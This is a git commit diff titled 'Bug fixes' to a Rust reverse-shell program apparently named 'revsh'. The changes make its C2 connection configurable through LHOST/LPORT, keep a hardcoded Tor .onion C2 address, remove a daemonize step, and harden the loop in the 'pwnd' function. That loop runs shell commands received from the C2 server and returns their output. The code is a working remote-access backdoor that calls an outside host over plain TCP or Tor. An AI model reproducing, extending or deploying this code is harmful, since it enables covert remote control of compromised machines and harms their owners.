Bug fixes

This commit is contained in:
Sivert V. Sæther
2025-09-26 16:04:21 +02:00
parent a4645e239b
commit 20b2a1b327
4 changed files with 24 additions and 31 deletions

10
Cargo.lock generated
View File

@@ -838,15 +838,6 @@ dependencies = [
"syn 2.0.106", "syn 2.0.106",
] ]
[[package]]
name = "daemonize"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ab8bfdaacb3c887a54d41bdf48d3af8873b3f5566469f8ba21b92057509f116e"
dependencies = [
"libc",
]
[[package]] [[package]]
name = "darling" name = "darling"
version = "0.14.4" version = "0.14.4"
@@ -2936,7 +2927,6 @@ version = "0.1.0"
dependencies = [ dependencies = [
"arti-client", "arti-client",
"clap", "clap",
"daemonize",
"log", "log",
"openssl", "openssl",
"pretty_env_logger", "pretty_env_logger",

View File

@@ -9,7 +9,6 @@ openssl = { version = "0.10.73", features = ["vendored"] }
clap = { version = "4.5.48", features = ["derive"] } clap = { version = "4.5.48", features = ["derive"] }
tokio = { version = "1.47.1", features = ["full"] } tokio = { version = "1.47.1", features = ["full"] }
pretty_env_logger = "0.5.0" pretty_env_logger = "0.5.0"
daemonize = "0.5.0"
log = "0.4.28" log = "0.4.28"
[profile.release] [profile.release]

View File

@@ -3,7 +3,6 @@
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader}; use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use std::{thread, time::Duration}; use std::{thread, time::Duration};
use revsh::{Shell, connect}; use revsh::{Shell, connect};
use daemonize::Daemonize;
const WAIT: Duration = Duration::from_millis(100); const WAIT: Duration = Duration::from_millis(100);
@@ -12,11 +11,6 @@ async fn main() {
if cfg!(debug_assertions) { if cfg!(debug_assertions) {
unsafe { std::env::set_var("RUST_LOG", "trace,mio=debug") }; unsafe { std::env::set_var("RUST_LOG", "trace,mio=debug") };
pretty_env_logger::init(); pretty_env_logger::init();
} else if cfg!(windows) {
let daemonize = Daemonize::new();
if let Err(err) = daemonize.start() {
eprintln!("{err:?}");
}
} }
info!("Entering main loop"); info!("Entering main loop");
loop { loop {
@@ -35,8 +29,8 @@ async fn pwnd() -> std::io::Result<()> {
let (read, mut write) = stream.split(); let (read, mut write) = stream.split();
let mut read = BufReader::new(read); let mut read = BufReader::new(read);
info!("Connected to C2!"); info!("Connected to C2!");
write.write_all("$ ".as_bytes()).await.unwrap(); write.write_all("$ ".as_bytes()).await?;
write.flush().await.unwrap(); write.flush().await?;
let mut shell = Shell::default(); let mut shell = Shell::default();
let mut input = String::new(); let mut input = String::new();
while let Ok(_len) = read.read_line(&mut input).await { while let Ok(_len) = read.read_line(&mut input).await {
@@ -45,15 +39,19 @@ async fn pwnd() -> std::io::Result<()> {
debug!("Running command: {input:?}"); debug!("Running command: {input:?}");
} }
let mut parts = input.split(' '); let mut parts = input.split(' ');
let mut out = shell.exec( match shell.exec(
parts.next().unwrap(), Some(parts.collect()), None parts.next().unwrap(), Some(parts.collect()), None
).await.unwrap(); ).await {
let mut buf: Vec<u8> = vec![]; Err(err) => write.write_all(&format!("{err}").as_bytes().to_vec()).await?,
buf.append(&mut out.stdout); Ok(mut out) => {
buf.append(&mut out.stderr); let mut buf: Vec<u8> = vec![];
buf.append(&mut "\n$ ".as_bytes().to_vec()); buf.append(&mut out.stdout);
write.write_all(&buf).await.unwrap(); buf.append(&mut out.stderr);
write.flush().await.unwrap(); buf.append(&mut "\n$ ".as_bytes().to_vec());
write.write_all(&buf).await?;
write.flush().await?;
},
};
input.clear(); input.clear();
} }
Ok(()) Ok(())

View File

@@ -6,9 +6,9 @@ use tokio::net::TcpStream;
#[inline] #[inline]
#[cfg(not(feature = "tor"))] #[cfg(not(feature = "tor"))]
pub async fn connect() -> std::io::Result<TcpStream> { pub async fn connect() -> std::io::Result<TcpStream> {
static CNC: &str = "127.0.0.1:1337"; let cnc: String = std::option_env!("LHOST").unwrap_or("127.0.0.1").to_owned() + ":" + std::option_env!("LPORT").unwrap_or("1337");
let sock = tokio::net::TcpSocket::new_v4()?; let sock = tokio::net::TcpSocket::new_v4()?;
let stream = sock.connect(CNC.parse().unwrap()).await?; let stream = sock.connect(cnc.parse().unwrap()).await?;
stream.set_nodelay(true)?; stream.set_nodelay(true)?;
Ok(stream) Ok(stream)
} }
@@ -17,14 +17,20 @@ pub async fn connect() -> std::io::Result<TcpStream> {
#[cfg(feature = "tor")] #[cfg(feature = "tor")]
pub async fn connect() -> std::io::Result<DataStream> { pub async fn connect() -> std::io::Result<DataStream> {
use arti_client::{config::TorClientConfigBuilder, TorClient}; use arti_client::{config::TorClientConfigBuilder, TorClient};
static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion"; static CNC: &str = match std::option_env!("LHOST") {
None => "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion",
Some(host) => host,
};
let config = { let config = {
let mut conf = TorClientConfigBuilder::default(); let mut conf = TorClientConfigBuilder::default();
conf.address_filter().allow_onion_addrs(true); conf.address_filter().allow_onion_addrs(true);
conf.build().unwrap() conf.build().unwrap()
}; };
let tor_client = TorClient::create_bootstrapped(config).await.unwrap(); let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
match tor_client.connect((CNC, 1337)).await { match tor_client.connect((CNC, match std::option_env!("LPORT") {
Some(port) => port.parse().unwrap(),
None => 1337,
})).await {
Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)), Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
Ok(stream) => Ok(stream), Ok(stream) => Ok(stream),
} }